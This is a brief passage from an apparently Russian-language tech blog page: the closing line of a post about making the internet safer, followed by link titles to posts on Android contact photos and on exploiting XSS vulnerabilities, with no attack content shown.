самое. Вместе мы можем сделать интернет более безопасным! 😉 Установка фотографии на контакт в ос андроид Использование XSS уязвимостей по максимуму ➤